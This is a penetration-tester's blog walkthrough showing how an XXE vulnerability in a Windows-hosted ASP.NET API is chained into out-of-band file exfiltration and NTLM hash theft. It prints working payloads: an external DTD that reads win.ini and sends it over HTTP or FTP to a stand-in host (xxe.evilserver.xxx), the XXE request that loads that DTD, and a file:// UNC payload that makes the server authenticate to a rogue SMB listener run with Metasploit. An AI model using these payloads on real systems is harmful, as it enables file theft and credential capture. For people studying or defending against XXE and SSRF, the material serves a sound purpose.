During this article I will show how it is possible to obtain NTLM password hashes from a Windows Web Server by chaining some well-known web vulnerabilities with internal network misconfigurations. (nothing surprisingly new, a very good read about this topic).

But:

This article inspired this work during one of our last penetration tests. To respect our non-disclosure agreement with the customer, the “evidences” in the article have been (poorly) “crafted” to reproduce the original behavior encountered during the tests.

Walkthrough the attack

Our target was a bunch of ASP.NET APIs exposed on the Internet running on a Windows Server. After some tests, we found that the service was vulnerable to XXE ( XXE on OWASP ) due to a DNS interaction when feeding the service with XML external entities.

Usually, one of the best thing you can get from this kind of vulnerability (except for rare cases – like the PHP expect module that gives RCE directly), is to read files that the Application Server account has privilege to read.

If you are lucky enough, you can simply use your external entity to retrieve the content of the file directly putting your external enity in a field that is reflected back in the server response.

Unfortunately, none of the fields in the XML could be used to retrieve directly the content of the file from the server response in our scenario, beacuse the external entity injection caused 500 Error code responses (but the entities were still parsed).

This is the case where you need some Out-Of-Band data retrieval technique to exfiltrate file contents. In few words, we need to find another way to retrieve the content of the file because we can’t see it directly in the server response: in those cases, for example, you can try to force the backend to send the file content to a server you control via HTTP/FTP/DNS request.

To achieve our goal, however, we need to use an external DTD (the external DTD is an external XML where you can define new entities definitions for your XML schema) because we need parametric entities in our request (and parametric entities reference is not allowed in internal markup).

We need to put our DTD in a place we control and where the server could read it, like on a public host on the internet. But no one can assure us that the vulnerable backend server, behind a load balancer, could reach our file on the public network on a useful protocol. Let’s verify this, using the Burp collaborator (and, of course, our super-sweet Handy Collaborator plugin):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "http://58bjzmpi1n4usspzku5z0h4z9qfj38.burpcollaborator.net/">%xxe; ]> <xml></xml> 1 2 3 4 5 6 7 <? xml version = "1.0" encoding = "UTF-8" standalone = "yes" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "http://58bjzmpi1n4usspzku5z0h4z9qfj38.burpcollaborator.net/"> % xxe ; ] > <xml> </xml>

And….

This means two things:

An external public server can be reached on the HTTP port, so we can procede with the exfiltration using the external DTD

We just found a Server-Side Request Forgery (SSRF) vulnerability aswell 🙂

Let’s see how we can exploit this.

The first thing is to host our external DTD (with parametric entities) on the Internet and then request it using our XXE vulnerability via HTTP request:

File xxe.xml:

<!ENTITY % payl SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://xxe.evilserver.xxx/%payl;'>"> 1 2 3 < ! ENTITY % payl SYSTEM "file:///c:/windows/win.ini" > < ! ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://xxe.evilserver.xxx/%payl;'>" >

Request:

<!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY % xxe SYSTEM "http://xxe.evilserver.xxx/exfil.dtd">%xxe;%param1;%exfil; ]> <xml></xml> 1 2 3 4 5 < ! DOCTYPE foo [ < ! ELEMENT foo ANY > < ! ENTITY % xxe SYSTEM "http://xxe.evilserver.xxx/exfil.dtd" > % xxe ; % param1 ; % exfil ; ] > < xml > < / xml >

Nice, we got the file from the server via GET request to our host. But this technique is not very efficient, due to the fact that some characters in the file content can break the HTTP syntax (and URL max-lengh is a limit to the file size), so not all files can be retrieved in this way.

A more flexible way to retrieve files is the FTP protocol (SYSTEM ftp://xxe.evilserver.xxx/%payl; – supported by .NET parser) , available only if the outbound traffic on the FTP ports is not filtered by the internal network routing.

The easier way to verify this is to modify our DTD and use a tcpdump filter on our server and see if something is happening.

New exfil.dtd:

<!ENTITY % payl SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'ftp://xxe.evilserver.xxx/%payl;'>"> 1 2 < ! ENTITY % payl SYSTEM "file:///c:/windows/win.ini" > < ! ENTITY % param1 "<!ENTITY % exfil SYSTEM 'ftp://xxe.evilserver.xxx/%payl;'>" >

….And surprisingly:

Wow, the FTP protocol isn’t filtered by outbound rules! Nice, but pretty strange…

After some investigations, we found out that the backend server could reach any arbitrary port number on the Internet using the FTP or the HTTP URL schema in our XXE payload.

Another “protocol” supported by almost every XML processor is “file://” which can be used to refer local files on the system (like we did before in our external DTD to fetch the win.ini) but it can also refer files on network sahres identified by UNC paths.

So, what will happen if we use a URL like “file://xxe.evilserver.xxx/somefile.txt” and host a – DEFINITELY NOT ROGUE – network share on the Internet ?

Let’s fire up the handy Metasploit module auxiliary/server/capture/smb (you can use Responder.py as well):

This module simulate an authenticated SMB service and capture the challenges (Net-NTLM hashes) issued from the clients that tries to connect to it.

The idea is to force the vulnerable server to connect and (hopefully) authenticate on our evil SMB server and grab the hashes.

Modify our XXE payload to file://evilserver.net/funny.txt

… aaaand it works! 😀

Enjoy!